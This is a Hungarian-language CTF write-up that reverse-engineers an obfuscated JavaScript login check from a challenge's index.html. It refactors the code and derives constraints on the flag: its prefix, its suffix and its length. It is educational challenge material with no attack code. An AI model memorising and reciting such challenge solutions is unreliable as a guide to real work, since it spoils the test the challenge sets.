<p>A feladathoz egy <a href="/writeups/resources/rev_securityinthefront/rev_securityinthefront.zip">zip fájl</a>, azon belül mindössze egy <code>index.html</code> fájl tartozik.
Ebből a lényegi rész csupán ez az egy hosszú sor:</p>
<div class="highlight"><pre tabindex="0" style="color:#e5e5e5;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-js" data-lang="js"><span style="display:flex;"><span><span style="color:#fff;font-weight:bold">async</span> <span style="color:#fff;font-weight:bold">function</span> checkCredentials(){<span style="color:#fff;font-weight:bold">var</span> t=<span style="color:#fff;font-weight:bold">document</span>.getElementById(<span style="color:#0ff;font-weight:bold">&#34;access-user&#34;</span>).value, r=<span style="color:#fff;font-weight:bold">document</span>.getElementById(<span style="color:#0ff;font-weight:bold">&#34;access-code&#34;</span>).value;c1=<span style="color:#0ff;font-weight:bold">&#34;NOPQRSTUVWXYZABCDEFGHIJKLMnopqrstuvwxyzabcdefghijklm&#34;</span>,c2=<span style="color:#0ff;font-weight:bold">&#34;ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz&#34;</span>,n1=[<span style="color:#ff0;font-weight:bold">5</span>,<span style="color:#ff0;font-weight:bold">6</span>,<span style="color:#ff0;font-weight:bold">7</span>,<span style="color:#ff0;font-weight:bold">8</span>,<span style="color:#ff0;font-weight:bold">9</span>,<span style="color:#ff0;font-weight:bold">0</span>,<span style="color:#ff0;font-weight:bold">1</span>,<span style="color:#ff0;font-weight:bold">2</span>,<span style="color:#ff0;font-weight:bold">3</span>,<span style="color:#ff0;font-weight:bold">4</span>],n2=<span style="color:#0ff;font-weight:bold">&#34;0123456789&#34;</span>;<span style="color:#fff;font-weight:bold">var</span> n=(e,t,r)=&gt;e.reduce(((e,r,n)=&gt;r.apply(e,t[n])),r),c=[<span style="color:#0ff;font-weight:bold">&#34;&#34;</span>],i=<span style="color:#fff;font-weight:bold">String</span>.prototype.split,a=<span style="color:#fff;font-weight:bold">Array</span>.prototype.join,o=<span style="color:#fff;font-weight:bold">Array</span>.prototype.filter,p=<span style="color:#fff;font-weight:bold">Array</span>.prototype.map,l=<span style="color:#fff;font-weight:bold">String</span>.prototype.slice,y=<span style="color:#fff;font-weight:bold">String</span>.prototype.repeat,u=<span style="color:#fff;font-weight:bold">Array</span>.prototype.indexOf,s=<span style="color:#fff;font-weight:bold">Array</span>.prototype.reduce,d=<span style="color:#fff;font-weight:bold">Array</span>.prototype.reverse,h=<span style="color:#fff;font-weight:bold">function</span>(e){<span style="color:#fff;font-weight:bold">return</span> <span style="color:#fff;font-weight:bold">this</span>==e},f=<span style="color:#fff;font-weight:bold">function</span>(e){<span style="color:#fff;font-weight:bold">return</span> indexedDB.cmp(<span style="color:#fff;font-weight:bold">this</span>,e)},A=<span style="color:#fff;font-weight:bold">String</span>.prototype.charAt;<span style="color:#fff;font-weight:bold">if</span>([[[i,p,f,h],[c,[e=&gt;-<span style="color:#ff0;font-weight:bold">1</span>==u.call(c2,e)?e:c1[u.call(c2,e)]],[[<span style="color:#0ff;font-weight:bold">&#34;n&#34;</span>,<span style="color:#0ff;font-weight:bold">&#34;q&#34;</span>,<span style="color:#0ff;font-weight:bold">&#34;z&#34;</span>,<span style="color:#0ff;font-weight:bold">&#34;v&#34;</span>,<span style="color:#0ff;font-weight:bold">&#34;a&#34;</span>]],[<span style="color:#ff0;font-weight:bold">0</span>]],t],[[l,y,i,p,o,f,h],[[<span style="color:#ff0;font-weight:bold">0</span>,<span style="color:#ff0;font-weight:bold">4</span>],[<span style="color:#ff0;font-weight:bold">3</span>],c,[e=&gt;-<span style="color:#ff0;font-weight:bold">1</span>==u.call(c2,e)?e:c1[u.call(c2,e)]],[(e,t)=&gt;t%<span style="color:#ff0;font-weight:bold">3</span>==<span style="color:#ff0;font-weight:bold">1</span>],[[<span style="color:#0ff;font-weight:bold">&#34;G&#34;</span>,<span style="color:#0ff;font-weight:bold">&#34;U&#34;</span>,<span style="color:#0ff;font-weight:bold">&#34;{&#34;</span>,<span style="color:#0ff;font-weight:bold">&#34;O&#34;</span>]],[<span style="color:#ff0;font-weight:bold">0</span>]],r],[[l,<span style="color:#fff;font-weight:bold">function</span>(){<span style="color:#fff;font-weight:bold">return</span> <span style="color:#fff;font-weight:bold">encodeURI</span>(<span style="color:#fff;font-weight:bold">this</span>)},l,<span style="color:#fff;font-weight:bold">function</span>(e){<span style="color:#fff;font-weight:bold">return</span> <span style="color:#fff;font-weight:bold">parseInt</span>(<span style="color:#fff;font-weight:bold">this</span>,e)},<span style="color:#fff;font-weight:bold">function</span>(e){<span style="color:#fff;font-weight:bold">return</span> <span style="color:#fff;font-weight:bold">this</span>^e},h],[[-<span style="color:#ff0;font-weight:bold">1</span>],[],[-<span style="color:#ff0;font-weight:bold">2</span>],[<span style="color:#ff0;font-weight:bold">16</span>],[<span style="color:#ff0;font-weight:bold">96</span>],[<span style="color:#ff0;font-weight:bold">29</span>]],r],[[i,s,h],[c,[e=&gt;e+e,<span style="color:#ff0;font-weight:bold">1</span>],[<span style="color:#ff0;font-weight:bold">16777216</span>]],r],[[y,i,p,s,h],[[<span style="color:#ff0;font-weight:bold">21</span>],c,[e=&gt;n1[u.call(n2,e)]],[(e,t)=&gt;e+h.apply(t,[<span style="color:#ff0;font-weight:bold">8</span>]),<span style="color:#ff0;font-weight:bold">0</span>],[<span style="color:#ff0;font-weight:bold">63</span>]],r],[[i,o,p,d,a,h],[c,[(e,t)=&gt;~u.call([<span style="color:#ff0;font-weight:bold">4</span>,<span style="color:#ff0;font-weight:bold">11</span>,<span style="color:#ff0;font-weight:bold">13</span>,<span style="color:#ff0;font-weight:bold">14</span>,<span style="color:#ff0;font-weight:bold">16</span>,<span style="color:#ff0;font-weight:bold">17</span>,<span style="color:#ff0;font-weight:bold">20</span>,<span style="color:#ff0;font-weight:bold">22</span>],t)],[e=&gt;c1[u.call(c2,e)]],[],[<span style="color:#0ff;font-weight:bold">&#34;-&#34;</span>],[<span style="color:#0ff;font-weight:bold">&#34;E-X-U-P-J-C-Q-S&#34;</span>]],r],[[<span style="color:#fff;font-weight:bold">function</span>(){<span style="color:#fff;font-weight:bold">return</span> <span style="color:#fff;font-weight:bold">Array</span>.from(<span style="color:#fff;font-weight:bold">this</span>)},f,h],[[],[[<span style="color:#0ff;font-weight:bold">&#34;_&#34;</span>]],[<span style="color:#ff0;font-weight:bold">0</span>]],<span style="color:#fff;font-weight:bold">new</span> Set(n([l,i,d,o],[[<span style="color:#ff0;font-weight:bold">12</span>,<span style="color:#ff0;font-weight:bold">16</span>],c,[],[(e,t)=&gt;~u.apply([<span style="color:#ff0;font-weight:bold">0</span>,<span style="color:#ff0;font-weight:bold">3</span>],[t])]],r))],[[i,d,o,<span style="color:#fff;font-weight:bold">function</span>(){<span style="color:#fff;font-weight:bold">return</span> <span style="color:#fff;font-weight:bold">this</span>.slice(<span style="color:#ff0;font-weight:bold">2</span>,<span style="color:#fff;font-weight:bold">this</span>.length).concat(<span style="color:#fff;font-weight:bold">this</span>.slice(<span style="color:#ff0;font-weight:bold">0</span>,<span style="color:#ff0;font-weight:bold">2</span>))},d,a,h],[c,[],[(e,t)=&gt;~u.apply([<span style="color:#ff0;font-weight:bold">18</span>,<span style="color:#ff0;font-weight:bold">13</span>,<span style="color:#ff0;font-weight:bold">4</span>,<span style="color:#ff0;font-weight:bold">16</span>,<span style="color:#ff0;font-weight:bold">15</span>],[t])],[],[],[<span style="color:#0ff;font-weight:bold">&#34;&#34;</span>],[<span style="color:#0ff;font-weight:bold">&#34;ncrnt&#34;</span>]],r],[[A,h],[[<span style="color:#ff0;font-weight:bold">6</span>],[<span style="color:#0ff;font-weight:bold">&#34;0&#34;</span>]],r]].reduce(((e,t)=&gt;e&amp;&amp;n.apply(<span style="color:#fff;font-weight:bold">void</span> <span style="color:#ff0;font-weight:bold">0</span>,t)),!<span style="color:#ff0;font-weight:bold">0</span>)){<span style="color:#fff;font-weight:bold">var</span> v=<span style="color:#fff;font-weight:bold">new</span> Uint8Array((<span style="color:#fff;font-weight:bold">new</span> TextEncoder).encode(r)),g=<span style="color:#fff;font-weight:bold">new</span> Uint8Array(<span style="color:#fff;font-weight:bold">await</span> crypto.subtle.digest(<span style="color:#0ff;font-weight:bold">&#34;SHA-256&#34;</span>,v)),m=<span style="color:#fff;font-weight:bold">new</span> Uint8Array([<span style="color:#ff0;font-weight:bold">9</span>,<span style="color:#ff0;font-weight:bold">87</span>,<span style="color:#ff0;font-weight:bold">39</span>,<span style="color:#ff0;font-weight:bold">96</span>,<span style="color:#ff0;font-weight:bold">151</span>,<span style="color:#ff0;font-weight:bold">202</span>,<span style="color:#ff0;font-weight:bold">140</span>,<span style="color:#ff0;font-weight:bold">186</span>,<span style="color:#ff0;font-weight:bold">120</span>,<span style="color:#ff0;font-weight:bold">235</span>,<span style="color:#ff0;font-weight:bold">167</span>,<span style="color:#ff0;font-weight:bold">229</span>,<span style="color:#ff0;font-weight:bold">47</span>,<span style="color:#ff0;font-weight:bold">231</span>,<span style="color:#ff0;font-weight:bold">6</span>,<span style="color:#ff0;font-weight:bold">212</span>,<span style="color:#ff0;font-weight:bold">77</span>,<span style="color:#ff0;font-weight:bold">205</span>,<span style="color:#ff0;font-weight:bold">58</span>,<span style="color:#ff0;font-weight:bold">14</span>,<span style="color:#ff0;font-weight:bold">248</span>,<span style="color:#ff0;font-weight:bold">104</span>,<span style="color:#ff0;font-weight:bold">169</span>,<span style="color:#ff0;font-weight:bold">79</span>,<span style="color:#ff0;font-weight:bold">116</span>,<span style="color:#ff0;font-weight:bold">140</span>,<span style="color:#ff0;font-weight:bold">236</span>,<span style="color:#ff0;font-weight:bold">98</span>,<span style="color:#ff0;font-weight:bold">126</span>,<span style="color:#ff0;font-weight:bold">26</span>,<span style="color:#ff0;font-weight:bold">100</span>,<span style="color:#ff0;font-weight:bold">120</span>]);<span style="color:#ff0;font-weight:bold">0</span>==indexedDB.cmp(g,m)?activate():alert(<span style="color:#0ff;font-weight:bold">&#34;User is not authorized. This incident will be reported.&#34;</span>)}<span style="color:#fff;font-weight:bold">else</span> alert(<span style="color:#0ff;font-weight:bold">&#34;User is not authorized.&#34;</span>)}
</span></span></code></pre></div><h2 id="magyarázat">Magyarázat</h2>
<p>Meglehetősen obfuszkálva van, de egy kis tördelés és refaktorálás után érthetőbb:</p>
<div class="highlight"><pre tabindex="0" style="color:#e5e5e5;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-js" data-lang="js"><span style="display:flex;"><span><span style="color:#fff;font-weight:bold">async</span> <span style="color:#fff;font-weight:bold">function</span> checkCredentials() {
</span></span><span style="display:flex;"><span>    <span style="color:#fff;font-weight:bold">var</span> username = <span style="color:#fff;font-weight:bold">document</span>.getElementById(<span style="color:#0ff;font-weight:bold">&#34;access-user&#34;</span>).value;
</span></span><span style="display:flex;"><span>    <span style="color:#fff;font-weight:bold">var</span> code = <span style="color:#fff;font-weight:bold">document</span>.getElementById(<span style="color:#0ff;font-weight:bold">&#34;access-code&#34;</span>).value;
</span></span><span style="display:flex;"><span>    <span style="color:#fff;font-weight:bold">var</span> alphabet2 = <span style="color:#0ff;font-weight:bold">&#34;NOPQRSTUVWXYZABCDEFGHIJKLMnopqrstuvwxyzabcdefghijklm&#34;</span>;
</span></span><span style="display:flex;"><span>    <span style="color:#fff;font-weight:bold">var</span> alphabet  = <span style="color:#0ff;font-weight:bold">&#34;ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz&#34;</span>;
</span></span><span style="display:flex;"><span>    <span style="color:#fff;font-weight:bold">var</span> numbers_array = [<span style="color:#ff0;font-weight:bold">5</span>, <span style="color:#ff0;font-weight:bold">6</span>, <span style="color:#ff0;font-weight:bold">7</span>, <span style="color:#ff0;font-weight:bold">8</span>, <span style="color:#ff0;font-weight:bold">9</span>, <span style="color:#ff0;font-weight:bold">0</span>, <span style="color:#ff0;font-weight:bold">1</span>, <span style="color:#ff0;font-weight:bold">2</span>, <span style="color:#ff0;font-weight:bold">3</span>, <span style="color:#ff0;font-weight:bold">4</span>];
</span></span><span style="display:flex;"><span>    <span style="color:#fff;font-weight:bold">var</span> numbers_str = <span style="color:#0ff;font-weight:bold">&#34;0123456789&#34;</span>;
</span></span><span style="display:flex;"><span>    <span style="color:#fff;font-weight:bold">function</span> n (operations, operands, first_argument) {
</span></span><span style="display:flex;"><span>        operations.reduce(
</span></span><span style="display:flex;"><span>            (prev, curr, index) =&gt; curr.apply(prev, operands[index]), 
</span></span><span style="display:flex;"><span>            first_argument
</span></span><span style="display:flex;"><span>        );
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>    <span style="color:#fff;font-weight:bold">var</span> is_equals_to_this = <span style="color:#fff;font-weight:bold">function</span> (e) {
</span></span><span style="display:flex;"><span>            <span style="color:#fff;font-weight:bold">return</span> <span style="color:#fff;font-weight:bold">this</span> == e;
</span></span><span style="display:flex;"><span>        };
</span></span><span style="display:flex;"><span>    <span style="color:#fff;font-weight:bold">var</span> cmp_to_this = <span style="color:#fff;font-weight:bold">function</span> (e) {
</span></span><span style="display:flex;"><span>            <span style="color:#fff;font-weight:bold">return</span> indexedDB.cmp(<span style="color:#fff;font-weight:bold">this</span>, e);
</span></span><span style="display:flex;"><span>        };
</span></span><span style="display:flex;"><span>    <span style="color:#fff;font-weight:bold">if</span> (
</span></span><span style="display:flex;"><span>        [
</span></span><span style="display:flex;"><span>            [
</span></span><span style="display:flex;"><span>                [<span style="color:#fff;font-weight:bold">String</span>.prototype.split, <span style="color:#fff;font-weight:bold">Array</span>.prototype.map, cmp_to_this, is_equals_to_this], 
</span></span><span style="display:flex;"><span>                [[<span style="color:#0ff;font-weight:bold">&#34;&#34;</span>], [(e) =&gt; (-<span style="color:#ff0;font-weight:bold">1</span> == <span style="color:#fff;font-weight:bold">Array</span>.prototype.indexOf.call(alphabet, e) ? e : alphabet2[<span style="color:#fff;font-weight:bold">Array</span>.prototype.indexOf.call(alphabet, e)])], [[<span style="color:#0ff;font-weight:bold">&#34;n&#34;</span>, <span style="color:#0ff;font-weight:bold">&#34;q&#34;</span>, <span style="color:#0ff;font-weight:bold">&#34;z&#34;</span>, <span style="color:#0ff;font-weight:bold">&#34;v&#34;</span>, <span style="color:#0ff;font-weight:bold">&#34;a&#34;</span>]], [<span style="color:#ff0;font-weight:bold">0</span>]], 
</span></span><span style="display:flex;"><span>                username
</span></span><span style="display:flex;"><span>            ],
</span></span><span style="display:flex;"><span>            [
</span></span><span style="display:flex;"><span>                [<span style="color:#fff;font-weight:bold">String</span>.prototype.slice, <span style="color:#fff;font-weight:bold">String</span>.prototype.repeat, <span style="color:#fff;font-weight:bold">String</span>.prototype.split, <span style="color:#fff;font-weight:bold">Array</span>.prototype.map, <span style="color:#fff;font-weight:bold">Array</span>.prototype.filter, cmp_to_this, is_equals_to_this], 
</span></span><span style="display:flex;"><span>                [[<span style="color:#ff0;font-weight:bold">0</span>, <span style="color:#ff0;font-weight:bold">4</span>], [<span style="color:#ff0;font-weight:bold">3</span>], [<span style="color:#0ff;font-weight:bold">&#34;&#34;</span>], [(e) =&gt; (-<span style="color:#ff0;font-weight:bold">1</span> == <span style="color:#fff;font-weight:bold">Array</span>.prototype.indexOf.call(alphabet, e) ? e : alphabet2[<span style="color:#fff;font-weight:bold">Array</span>.prototype.indexOf.call(alphabet, e)])], [(e, t) =&gt; t % <span style="color:#ff0;font-weight:bold">3</span> == <span style="color:#ff0;font-weight:bold">1</span>], [[<span style="color:#0ff;font-weight:bold">&#34;G&#34;</span>, <span style="color:#0ff;font-weight:bold">&#34;U&#34;</span>, <span style="color:#0ff;font-weight:bold">&#34;{&#34;</span>, <span style="color:#0ff;font-weight:bold">&#34;O&#34;</span>]], [<span style="color:#ff0;font-weight:bold">0</span>]], 
</span></span><span style="display:flex;"><span>                code
</span></span><span style="display:flex;"><span>            ],
</span></span><span style="display:flex;"><span>            [
</span></span><span style="display:flex;"><span>                [<span style="color:#fff;font-weight:bold">String</span>.prototype.slice, <span style="color:#fff;font-weight:bold">function</span> () { <span style="color:#fff;font-weight:bold">return</span> <span style="color:#fff;font-weight:bold">encodeURI</span>(<span style="color:#fff;font-weight:bold">this</span>); }, <span style="color:#fff;font-weight:bold">String</span>.prototype.slice, <span style="color:#fff;font-weight:bold">function</span> (e) { <span style="color:#fff;font-weight:bold">return</span> <span style="color:#fff;font-weight:bold">parseInt</span>(<span style="color:#fff;font-weight:bold">this</span>, e); }, <span style="color:#fff;font-weight:bold">function</span> (e) { <span style="color:#fff;font-weight:bold">return</span> <span style="color:#fff;font-weight:bold">this</span> ^ e; }, is_equals_to_this],
</span></span><span style="display:flex;"><span>                [[-<span style="color:#ff0;font-weight:bold">1</span>], [], [-<span style="color:#ff0;font-weight:bold">2</span>], [<span style="color:#ff0;font-weight:bold">16</span>], [<span style="color:#ff0;font-weight:bold">96</span>], [<span style="color:#ff0;font-weight:bold">29</span>]],
</span></span><span style="display:flex;"><span>                code,
</span></span><span style="display:flex;"><span>            ],
</span></span><span style="display:flex;"><span>            [
</span></span><span style="display:flex;"><span>                [<span style="color:#fff;font-weight:bold">String</span>.prototype.split, <span style="color:#fff;font-weight:bold">Array</span>.prototype.reduce, is_equals_to_this], 
</span></span><span style="display:flex;"><span>                [[<span style="color:#0ff;font-weight:bold">&#34;&#34;</span>], [(e) =&gt; e + e, <span style="color:#ff0;font-weight:bold">1</span>], [<span style="color:#ff0;font-weight:bold">16777216</span>]], 
</span></span><span style="display:flex;"><span>                code
</span></span><span style="display:flex;"><span>            ],
</span></span><span style="display:flex;"><span>            [
</span></span><span style="display:flex;"><span>                [<span style="color:#fff;font-weight:bold">String</span>.prototype.repeat, <span style="color:#fff;font-weight:bold">String</span>.prototype.split, <span style="color:#fff;font-weight:bold">Array</span>.prototype.map, <span style="color:#fff;font-weight:bold">Array</span>.prototype.reduce, is_equals_to_this], 
</span></span><span style="display:flex;"><span>                [[<span style="color:#ff0;font-weight:bold">21</span>], [<span style="color:#0ff;font-weight:bold">&#34;&#34;</span>], [(e) =&gt; numbers_array[<span style="color:#fff;font-weight:bold">Array</span>.prototype.indexOf.call(numbers_str, e)]], [(e, t) =&gt; e + is_equals_to_this.apply(t, [<span style="color:#ff0;font-weight:bold">8</span>]), <span style="color:#ff0;font-weight:bold">0</span>], [<span style="color:#ff0;font-weight:bold">63</span>]], 
</span></span><span style="display:flex;"><span>                code
</span></span><span style="display:flex;"><span>            ],
</span></span><span style="display:flex;"><span>            [
</span></span><span style="display:flex;"><span>                [<span style="color:#fff;font-weight:bold">String</span>.prototype.split, <span style="color:#fff;font-weight:bold">Array</span>.prototype.filter, <span style="color:#fff;font-weight:bold">Array</span>.prototype.map, <span style="color:#fff;font-weight:bold">Array</span>.prototype.reverse, <span style="color:#fff;font-weight:bold">Array</span>.prototype.join, is_equals_to_this], 
</span></span><span style="display:flex;"><span>                [[<span style="color:#0ff;font-weight:bold">&#34;&#34;</span>], [(e, t) =&gt; ~<span style="color:#fff;font-weight:bold">Array</span>.prototype.indexOf.call([<span style="color:#ff0;font-weight:bold">4</span>, <span style="color:#ff0;font-weight:bold">11</span>, <span style="color:#ff0;font-weight:bold">13</span>, <span style="color:#ff0;font-weight:bold">14</span>, <span style="color:#ff0;font-weight:bold">16</span>, <span style="color:#ff0;font-weight:bold">17</span>, <span style="color:#ff0;font-weight:bold">20</span>, <span style="color:#ff0;font-weight:bold">22</span>], t)], [(e) =&gt; alphabet2[<span style="color:#fff;font-weight:bold">Array</span>.prototype.indexOf.call(alphabet, e)]], [], [<span style="color:#0ff;font-weight:bold">&#34;-&#34;</span>], [<span style="color:#0ff;font-weight:bold">&#34;E-X-U-P-J-C-Q-S&#34;</span>]], 
</span></span><span style="display:flex;"><span>                code
</span></span><span style="display:flex;"><span>            ],
</span></span><span style="display:flex;"><span>            [
</span></span><span style="display:flex;"><span>                [<span style="color:#fff;font-weight:bold">function</span> () { <span style="color:#fff;font-weight:bold">return</span> <span style="color:#fff;font-weight:bold">Array</span>.from(<span style="color:#fff;font-weight:bold">this</span>); }, cmp_to_this, is_equals_to_this],
</span></span><span style="display:flex;"><span>                [[], [[<span style="color:#0ff;font-weight:bold">&#34;_&#34;</span>]], [<span style="color:#ff0;font-weight:bold">0</span>]],
</span></span><span style="display:flex;"><span>                <span style="color:#fff;font-weight:bold">new</span> Set(n([<span style="color:#fff;font-weight:bold">String</span>.prototype.slice, <span style="color:#fff;font-weight:bold">String</span>.prototype.split, <span style="color:#fff;font-weight:bold">Array</span>.prototype.reverse, <span style="color:#fff;font-weight:bold">Array</span>.prototype.filter], [[<span style="color:#ff0;font-weight:bold">12</span>, <span style="color:#ff0;font-weight:bold">16</span>], [<span style="color:#0ff;font-weight:bold">&#34;&#34;</span>], [], [(e, t) =&gt; ~<span style="color:#fff;font-weight:bold">Array</span>.prototype.indexOf.apply([<span style="color:#ff0;font-weight:bold">0</span>, <span style="color:#ff0;font-weight:bold">3</span>], [t])]], code)),
</span></span><span style="display:flex;"><span>            ],
</span></span><span style="display:flex;"><span>            [
</span></span><span style="display:flex;"><span>                [<span style="color:#fff;font-weight:bold">String</span>.prototype.split, <span style="color:#fff;font-weight:bold">Array</span>.prototype.reverse, <span style="color:#fff;font-weight:bold">Array</span>.prototype.filter, <span style="color:#fff;font-weight:bold">function</span> () { <span style="color:#fff;font-weight:bold">return</span> <span style="color:#fff;font-weight:bold">this</span>.slice(<span style="color:#ff0;font-weight:bold">2</span>, <span style="color:#fff;font-weight:bold">this</span>.length).concat(<span style="color:#fff;font-weight:bold">this</span>.slice(<span style="color:#ff0;font-weight:bold">0</span>, <span style="color:#ff0;font-weight:bold">2</span>)); }, <span style="color:#fff;font-weight:bold">Array</span>.prototype.reverse, <span style="color:#fff;font-weight:bold">Array</span>.prototype.join, is_equals_to_this],
</span></span><span style="display:flex;"><span>                [[<span style="color:#0ff;font-weight:bold">&#34;&#34;</span>], [], [(e, t) =&gt; ~<span style="color:#fff;font-weight:bold">Array</span>.prototype.indexOf.apply([<span style="color:#ff0;font-weight:bold">18</span>, <span style="color:#ff0;font-weight:bold">13</span>, <span style="color:#ff0;font-weight:bold">4</span>, <span style="color:#ff0;font-weight:bold">16</span>, <span style="color:#ff0;font-weight:bold">15</span>], [t])], [], [], [<span style="color:#0ff;font-weight:bold">&#34;&#34;</span>], [<span style="color:#0ff;font-weight:bold">&#34;ncrnt&#34;</span>]],
</span></span><span style="display:flex;"><span>                code,
</span></span><span style="display:flex;"><span>            ],
</span></span><span style="display:flex;"><span>            [
</span></span><span style="display:flex;"><span>                [<span style="color:#fff;font-weight:bold">String</span>.prototype.charAt, is_equals_to_this], 
</span></span><span style="display:flex;"><span>                [[<span style="color:#ff0;font-weight:bold">6</span>], [<span style="color:#0ff;font-weight:bold">&#34;0&#34;</span>]], 
</span></span><span style="display:flex;"><span>                code
</span></span><span style="display:flex;"><span>            ],
</span></span><span style="display:flex;"><span>        ].reduce((prev, curr) =&gt; prev &amp;&amp; n.apply(<span style="color:#fff;font-weight:bold">void</span> <span style="color:#ff0;font-weight:bold">0</span>, curr), <span style="color:#fff;font-weight:bold">true</span>)
</span></span><span style="display:flex;"><span>    ) {
</span></span><span style="display:flex;"><span>        <span style="color:#fff;font-weight:bold">var</span> code_bytes = <span style="color:#fff;font-weight:bold">new</span> Uint8Array(<span style="color:#fff;font-weight:bold">new</span> TextEncoder().encode(code));
</span></span><span style="display:flex;"><span>        <span style="color:#fff;font-weight:bold">var</span> code_hash = <span style="color:#fff;font-weight:bold">new</span> Uint8Array(<span style="color:#fff;font-weight:bold">await</span> crypto.subtle.digest(<span style="color:#0ff;font-weight:bold">&#34;SHA-256&#34;</span>, code_bytes));
</span></span><span style="display:flex;"><span>        <span style="color:#fff;font-weight:bold">var</span> correct_hash = <span style="color:#fff;font-weight:bold">new</span> Uint8Array([<span style="color:#ff0;font-weight:bold">9</span>, <span style="color:#ff0;font-weight:bold">87</span>, <span style="color:#ff0;font-weight:bold">39</span>, <span style="color:#ff0;font-weight:bold">96</span>, <span style="color:#ff0;font-weight:bold">151</span>, <span style="color:#ff0;font-weight:bold">202</span>, <span style="color:#ff0;font-weight:bold">140</span>, <span style="color:#ff0;font-weight:bold">186</span>, <span style="color:#ff0;font-weight:bold">120</span>, <span style="color:#ff0;font-weight:bold">235</span>, <span style="color:#ff0;font-weight:bold">167</span>, <span style="color:#ff0;font-weight:bold">229</span>, <span style="color:#ff0;font-weight:bold">47</span>, <span style="color:#ff0;font-weight:bold">231</span>, <span style="color:#ff0;font-weight:bold">6</span>, <span style="color:#ff0;font-weight:bold">212</span>, <span style="color:#ff0;font-weight:bold">77</span>, <span style="color:#ff0;font-weight:bold">205</span>, <span style="color:#ff0;font-weight:bold">58</span>, <span style="color:#ff0;font-weight:bold">14</span>, <span style="color:#ff0;font-weight:bold">248</span>, <span style="color:#ff0;font-weight:bold">104</span>, <span style="color:#ff0;font-weight:bold">169</span>, <span style="color:#ff0;font-weight:bold">79</span>, <span style="color:#ff0;font-weight:bold">116</span>, <span style="color:#ff0;font-weight:bold">140</span>, <span style="color:#ff0;font-weight:bold">236</span>, <span style="color:#ff0;font-weight:bold">98</span>, <span style="color:#ff0;font-weight:bold">126</span>, <span style="color:#ff0;font-weight:bold">26</span>, <span style="color:#ff0;font-weight:bold">100</span>, <span style="color:#ff0;font-weight:bold">120</span>]);
</span></span><span style="display:flex;"><span>        <span style="color:#ff0;font-weight:bold">0</span> == indexedDB.cmp(code_hash, correct_hash) ? activate() : alert(<span style="color:#0ff;font-weight:bold">&#34;User is not authorized. This incident will be reported.&#34;</span>);
</span></span><span style="display:flex;"><span>    } <span style="color:#fff;font-weight:bold">else</span> alert(<span style="color:#0ff;font-weight:bold">&#34;User is not authorized.&#34;</span>);
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><h2 id="cél">Cél</h2>
<p>A függvényben lévő feltételben találhatóak nyomok a jelszó, azaz a flag egyes karaktereire. Ezeket felhasználva kell kitalálni mi is a flag.</p>
<h2 id="megoldás">Megoldás</h2>
<p>Vegyük sorra a feltételeket és azt, hogy mi derül ki belőlük.</p>
<div class="highlight"><pre tabindex="0" style="color:#e5e5e5;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-js" data-lang="js"><span style="display:flex;"><span>indexedDB.cmp(username.split(<span style="color:#0ff;font-weight:bold">&#34;&#34;</span>).map((e) =&gt; (-<span style="color:#ff0;font-weight:bold">1</span> == alphabet.indexOf(e) ? e : alphabet2[alphabet.indexOf(e)])), [<span style="color:#0ff;font-weight:bold">&#34;n&#34;</span>, <span style="color:#0ff;font-weight:bold">&#34;q&#34;</span>, <span style="color:#0ff;font-weight:bold">&#34;z&#34;</span>, <span style="color:#0ff;font-weight:bold">&#34;v&#34;</span>, <span style="color:#0ff;font-weight:bold">&#34;a&#34;</span>]) == <span style="color:#ff0;font-weight:bold">0</span>
</span></span></code></pre></div><p><code>username  == &quot;admin&quot;</code> Ez igazából nem releváns a megoldáshoz.</p>
<div class="highlight"><pre tabindex="0" style="color:#e5e5e5;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-js" data-lang="js"><span style="display:flex;"><span>indexedDB.cmp(code.slice(<span style="color:#ff0;font-weight:bold">0</span>, <span style="color:#ff0;font-weight:bold">4</span>).repeat(<span style="color:#ff0;font-weight:bold">3</span>).split(<span style="color:#0ff;font-weight:bold">&#34;&#34;</span>).map((e) =&gt; (-<span style="color:#ff0;font-weight:bold">1</span> == alphabet.indexOf(e) ? e : alphabet2[alphabet.indexOf(e)])).filter((e, t) =&gt; t % <span style="color:#ff0;font-weight:bold">3</span> == <span style="color:#ff0;font-weight:bold">1</span>), [<span style="color:#0ff;font-weight:bold">&#34;G&#34;</span>, <span style="color:#0ff;font-weight:bold">&#34;U&#34;</span>, <span style="color:#0ff;font-weight:bold">&#34;{&#34;</span>, <span style="color:#0ff;font-weight:bold">&#34;O&#34;</span>]) == <span style="color:#ff0;font-weight:bold">0</span>
</span></span></code></pre></div><p><code>code[0:4] == &quot;HTB{&quot;</code></p>
<div class="highlight"><pre tabindex="0" style="color:#e5e5e5;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-js" data-lang="js"><span style="display:flex;"><span><span style="color:#fff;font-weight:bold">parseInt</span>(<span style="color:#fff;font-weight:bold">encodeURI</span>(code.slice(-<span style="color:#ff0;font-weight:bold">1</span>)).slice(-<span style="color:#ff0;font-weight:bold">2</span>), <span style="color:#ff0;font-weight:bold">16</span>) ^ <span style="color:#ff0;font-weight:bold">96</span> == <span style="color:#ff0;font-weight:bold">29</span> 
</span></span></code></pre></div><p><code>code[-1]  == &quot;}&quot;</code></p>
<div class="highlight"><pre tabindex="0" style="color:#e5e5e5;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-js" data-lang="js"><span style="display:flex;"><span>code.split(<span style="color:#0ff;font-weight:bold">&#34;&#34;</span>).reduce((e) =&gt; e + e, <span style="color:#ff0;font-weight:bold">1</span>) == <span style="color:#ff0;font-weight:bold">16777216</span> 
</span></span></code></pre></div><p><code>len(code) == 24</code></p>
